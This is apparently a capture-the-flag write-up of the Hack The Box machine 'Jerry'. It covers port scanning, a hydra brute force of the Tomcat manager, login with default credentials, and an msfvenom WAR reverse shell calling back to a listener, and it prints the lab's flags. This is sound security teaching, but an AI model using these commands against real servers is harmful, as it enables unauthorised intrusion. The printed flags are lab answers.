# Jerry

Hack-The-Box 35 / 72
1 min read
HTB Windows Brute Force ⓘ Systematically trying many credential combinations until one succeeds.
Table of Contents
⚔
Challenge Mode
Hide the solution and attempt the box yourself first
  • Machine Name: Jerry
  • Difficulty: Easy
  • OS type: Windows

Port Scanning - Service & Version Enumeration

Terminal window
PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat/7.0.88
|_http-server-header: Apache-Coyote/1.1
|_http-favicon: Apache Tomcat

Enumeration

Port 8080/HTTP

port 8080 is running apache Tomcat

image.png

let’s search for any known exploit for apache tomcat 7.0.88, no luck we didn’t find anything

let’s try to access Manager App section

image.png

let’s use the hydra to bruteforce the credentials for tomcat we used common username and password list from github https://github.com/netbiosX/Default-Credentials/blob/master/Apache-Tomcat-Default-Passwords.mdown

Terminal window
hydra -L usernames.txt -P password.txt http-get://10.10.10.95:8080/manager/html
image.png

let’s try to use admin:admin first and then try tomcat:s3cret , tomcar secret worked!

image.png

let’s create a war reverse shell using msfvenom and then upload

Terminal window
msfvenom -p java/shell_reverse_tcp lhost=10.10.14.14 lport=8080 -f war -o pwn.war
image.png

after uploading file we can see it in the tomcat application manager

image.png

let’s start netcat listener on port 8080, and then execute the /pwn by clicking on it

image.png

bingo! we are SYSTEM user!

User.txt: 7004dbcef0f854e0fb401875f26ebd00

Root.txt: 04a8b36e1545a455393d067e772fe90e

Next: Keeper
My avatar

Thanks for reading my blog post! Feel free to check out my other posts or contact me via the social links in the footer.

Related Writeups

# Cicada

Hack-The-Box 18 / 72
7 min read ⏱ 45 min to pwn

Windows Easy machine - Cicada.

HTB Active Directory ⓘ Microsoft's directory service for managing users, computers, and permissions across a Windows domain. Windows Nmap ⓘ A network scanner used to enumerate open ports, services, and versions on a target. DNS ⓘ The Domain Name System — translates hostnames to IPs; often leaks subdomains and internal naming during recon. NTLM ⓘ Windows' legacy authentication protocol — vulnerable to relay and pass-the-hash attacks. WinRM ⓘ Windows Remote Management — used for remote PowerShell access, often the lateral-movement endpoint on AD boxes. SMB ⓘ Server Message Block — Windows file-sharing protocol, frequently abused for enumeration and lateral movement. LDAP ⓘ Lightweight Directory Access Protocol — used to query Active Directory; often vulnerable to injection or anonymous binds. Brute Force ⓘ Systematically trying many credential combinations until one succeeds.

# OpenAdmin

Hack-The-Box 47 / 72
5 min read

Linux Easy machine - OpenAdmin.

HTB Active Directory ⓘ Microsoft's directory service for managing users, computers, and permissions across a Windows domain. Linux Sudo ⓘ Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. SSH ⓘ Secure Shell — encrypted remote login, targeted via key theft, brute force, or misconfigured access. PHP Password Spraying ⓘ Trying one common password against many usernames to avoid account lockouts. Brute Force ⓘ Systematically trying many credential combinations until one succeeds.

# Servmon

Hack-The-Box 60 / 72
5 min read

Windows Easy machine - Servmon.

HTB Active Directory ⓘ Microsoft's directory service for managing users, computers, and permissions across a Windows domain. Windows Linux SSH ⓘ Secure Shell — encrypted remote login, targeted via key theft, brute force, or misconfigured access. Nmap ⓘ A network scanner used to enumerate open ports, services, and versions on a target. FTP ⓘ File Transfer Protocol — frequently misconfigured with anonymous access, exposing sensitive files. Brute Force ⓘ Systematically trying many credential combinations until one succeeds. Path Traversal ⓘ Using '../' sequences to escape a web app's intended directory and read arbitrary files.

# Silentium

Hack-The-Box 61 / 72
4 min read

Linux Easy machine - Silentium.

HTB RCE ⓘ Remote Code Execution — the ability to run arbitrary commands on a target system remotely. Linux SSH ⓘ Secure Shell — encrypted remote login, targeted via key theft, brute force, or misconfigured access. Nmap ⓘ A network scanner used to enumerate open ports, services, and versions on a target. CVE ⓘ A publicly catalogued, known vulnerability with a unique identifier (Common Vulnerabilities and Exposures). Docker ⓘ A containerization platform — misconfigured sockets or escapes can lead to host compromise. DNS ⓘ The Domain Name System — translates hostnames to IPs; often leaks subdomains and internal naming during recon. Brute Force ⓘ Systematically trying many credential combinations until one succeeds.
Comments